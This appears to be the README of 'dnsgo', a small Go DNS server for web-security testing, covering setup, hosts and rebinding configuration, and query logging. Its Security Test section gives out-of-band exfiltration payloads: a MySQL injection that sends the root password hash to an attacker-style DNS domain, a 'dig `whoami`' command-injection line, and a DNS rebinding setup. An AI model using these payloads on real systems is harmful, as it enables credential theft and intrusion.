What's it?

It's a dns server.And you can use it when you need to use a own dns server.

Where to use it?

  • Use it as a website's nameserver (Only support "A" record now).
  • Use it in intra network. Such as fast dns cache server. What's more, you can use it to defense dns DNS cache pollution.
  • Use it when you need to get dns record. Not only monitor dns request, but also in web security test such as dns rebinding.

How to use it?


go get github.com/grt1st/dnsgo
cd $GOPATH/src/github.com/grt1st/dnsgo
go build github.com/grt1st/dnsgo
./dnsgo -h


$ [dnsgo]: ./dnsgo -h
  ./dnsgo [Options]

  -h    Show usage
  -host string
        Address to bind (default "localhost")
  -log string
        Filename of log file
        Whether to send dns request
        Show program's version number and exit

You can simply run it by: sudo ./dnsgo. You can define the address to bind, like sudo ./dnsgo -host It will bind at localhost defaultly.

If you need it to lookup dns when meet undefined domain, set query please, such as sudo ./dngo -query .

Also you can define a log file, such as: ./dnsgo.go -log "./dnsgo.log"

Config File:

├── conf
|   |── default.conf
│   ├── hosts.conf        
│   ├── nameserver.conf
│   └── resolver.conf
  • default.conf:

    Default config file. It defines where to find config file, don't need to change it.

  • hosts.conf:

    The file is like /etc/hosts, you can define a domain-ip relation in it. such as github.com. What's more, you can define more ip by &: github.com. And, you can use wildcard in it, such as *.github.com.


    Pattern Meaning
    github.com. A record to github.com, value:
    github.com. A record to github.com, value: &
    a.github.com. Define a subdomain a.github.com with A record
    *.github.com. Define a subdomain of wildcard. Priority is lower than the specified subdomain.
    github.com.| dns-rebinding. A record to github.com, Odd requests return first one(, while even requests return the second(
  • nameserver.conf

    It's the file of nameserver. Config it by nameserver

  • resolver.conf

    A file like /etc/resolv.conf, don't know it much. But it's about dns forward. The format like server=/*.abc.local/


Basic use

./dnsgo -host, you can test it by dig @ xxxx.xx

Use it on the public network

To use it on the internet, first, you have to add a nameserver record for it. Config it at the domain name resolution page.

Config subdomain like this:

dnsgo NS ns.dnsgo.your-domain
ns.dnsgo A your-ip

Then you can config host at conf/hosts.conf, like:


To do dns rebinding, do this:


However, it depends on the dns server, for example some servers min-ttl is 60.

Get DNS Records

After you setup, you can get the dns records.

Normally, it will output at the command line:

- dnsgo [master] ⚡  sudo ./dnsgo
2018/07/10 23:56:22 [+] dns server start listening at localhost:53
2018/07/10 23:56:31 [INFO] hosts%!(EXTRA net.IP=, string=github.com., []string=[], int=1)
2018/07/11 00:01:10 [INFO] hosts%!(EXTRA net.IP=, string=grt1st.cn., []string=[], int=2)

Also, you can set log file by ./dnsgo -log dns.log to log records in a file, then cat the file.

Security Test

  • Dns Rebinding: eg: Set rebind.your-domain| at hosts.conf, then dig rebind.your-domain to test.
  • Dnslog in Sql Injection. eg: SELECT LOAD_FILE(CONCAT('\\\\',(SELECT password FROM mysql.user WHERE user='root' LIMIT 1),'.mysql.your-domain\\abc')); in mysql (only support in windows for unc). More eg at Dnslog在SQL注入中的实战
  • Command Injection. eg:
    dig `whoami`.your-domain


  1. More stability test
  2. Code rebuild





A dns server, small and cute. Use it to test web security such as dnslog and dns rebinding. it's kind of like ceye.io

Dnsgo Info

⭐ Stars 14
🔗 Source Code github.com
🕒 Last Update 4 months ago
🕒 Created 3 years ago
🐞 Open Issues 1
➗ Star-Issue Ratio 14
😎 Author grt1st